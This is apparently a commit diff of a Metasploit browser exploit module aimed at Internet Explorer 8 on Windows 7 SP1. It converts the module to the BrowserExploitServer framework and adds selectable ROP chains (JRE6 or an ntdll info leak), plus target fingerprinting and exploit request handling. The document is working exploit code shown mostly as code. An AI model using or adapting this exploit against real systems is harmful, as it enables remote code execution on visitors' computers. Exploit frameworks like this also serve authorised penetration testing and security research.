8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
9
Rank = NormalRanking
10
10
11
- include Msf ::Exploit ::Remote ::HttpServer :: HTML
11
+ include Msf ::Exploit ::Remote ::BrowserExploitServer
12
12
include Msf ::Exploit ::RopDb
13
13
#include Msf::Exploit::Remote::BrowserAutopwn
14
14
@@ -61,23 +61,20 @@ def initialize(info={})
61
61
'InitialAutoRunScript' => 'migrate -f'
62
62
} ,
63
63
'Platform' => 'win' ,
64
+ 'BrowserRequirements' =>
65
+ {
66
+ :source => /script/i ,
67
+ :os_name => OperatingSystems ::WINDOWS ,
68
+ :ua_name => HttpClients ::IE ,
69
+ :ua_ver => '8.0' ,
70
+ } ,
64
71
'Targets' =>
65
72
[
66
- [ 'Automatic' , { } ] ,
67
- [ 'IE 8 on Windows 7 SP1 with JRE ROP' , # default
68
- {
69
- 'Rop' => :jre ,
70
- 'Offset' => '0x5f4'
71
- }
72
- ] ,
73
- # requires:
74
- # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
75
- # * ntdll.dll v6.1.7601.17725 (MS12-001)
76
- [ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak' ,
77
- {
78
- 'Rop' => :ntdll ,
79
- 'Offset' => '0x5f4'
80
- }
73
+ [
74
+ 'IE 8 on Windows 7 SP1' ,
75
+ {
76
+ 'Offset' => '0x5f4'
77
+ }
81
78
]
82
79
] ,
83
80
'Privileged' => false ,
@@ -89,40 +86,20 @@ def initialize(info={})
89
86
OptBool . new ( 'OBFUSCATE' , [ false , 'Enable JavaScript obfuscation' , false ] )
90
87
] , self . class )
91
88
89
+ register_advanced_options (
90
+ [
91
+ # ntdll requires:
92
+ # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
93
+ # * ntdll.dll v6.1.7601.17725 (MS12-001)
94
+ OptEnum . new ( 'ROP' , [ true , 'The type of ROP to use (JRE6 or leak NTDLL)' , 'NTDLL' , [ 'JRE6' , 'NTDLL' ] ] )
95
+ ] , self . class )
92
96
end
93
97
94
98
def exploit
95
- @second_stage_url = rand_text_alpha ( 10 )
99
+ @second_stage_url = " #{ get_module_resource } #{ rand_text_alpha ( 10 ) } " . chomp
96
100
@leak_param = rand_text_alpha ( 5 )
97
- super
98
- end
99
-
100
- def get_target ( agent )
101
- #If the user is already specified by the user, we'll just use that
102
- return target if target . name != 'Automatic'
103
-
104
- nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
105
- ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
106
101
107
- ie_name = "IE #{ ie } "
108
-
109
- case nt
110
- when '5.1'
111
- os_name = 'Windows XP SP3'
112
- when '6.0'
113
- os_name = 'Windows Vista'
114
- when '6.1'
115
- os_name = 'Windows 7'
116
- end
117
-
118
- targets . each do |t |
119
- if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
120
- print_status ( "Target selected as: #{ t . name } " )
121
- return t
122
- end
123
- end
124
-
125
- return nil
102
+ super
126
103
end
127
104
128
105
def ie_heap_spray ( my_target , p )
@@ -383,16 +360,26 @@ def html_info_leak
383
360
384
361
end
385
362
386
- def on_request_uri ( cli , request )
387
- agent = request . headers [ 'User-Agent' ]
388
- uri = request . uri
389
- print_status ( "Requesting: #{ uri } " )
363
+ def set_rop ( t , rop , info )
364
+ case rop
365
+ when /^ntdll$/i
366
+ t [ 'Rop' ] = :ntdll
367
+ when /^jre6$/i
368
+ if info [ :java ] !~ /1\. 6|6\. 0/
369
+ raise RuntimeError , "Target does not have the suitable Java component installed for our attack"
370
+ end
371
+
372
+ t [ 'Rop' ] = :jre
373
+ end
374
+
375
+ return t
376
+ end
390
377
391
- my_target = get_target ( agent )
392
- # Avoid the attack if no suitable target found
393
- if my_target . nil?
394
- print_error ( "Browser not supported, sending 404: #{ agent } " )
395
- send_not_found ( cli )
378
+ def on_request_exploit ( cli , request , target_info )
379
+ begin
380
+ my_target = set_rop ( get_target , datastore [ 'ROP' ] , target_info )
381
+ rescue RuntimeError => e
382
+ print_error ( e . message )
396
383
return
397
384
end
398
385
@@ -414,7 +401,7 @@ def on_request_uri(cli, request)
414
401
return
415
402
end
416
403
417
- vprint_status ( "ntdll leak: 0x#{ leak . to_s ( 16 ) } " )
404
+ print_status ( "ntdll leak: 0x#{ leak . to_s ( 16 ) } " )
418
405
fingerprint = leak & 0x0000ffff
419
406
420
407
case fingerprint
0 commit comments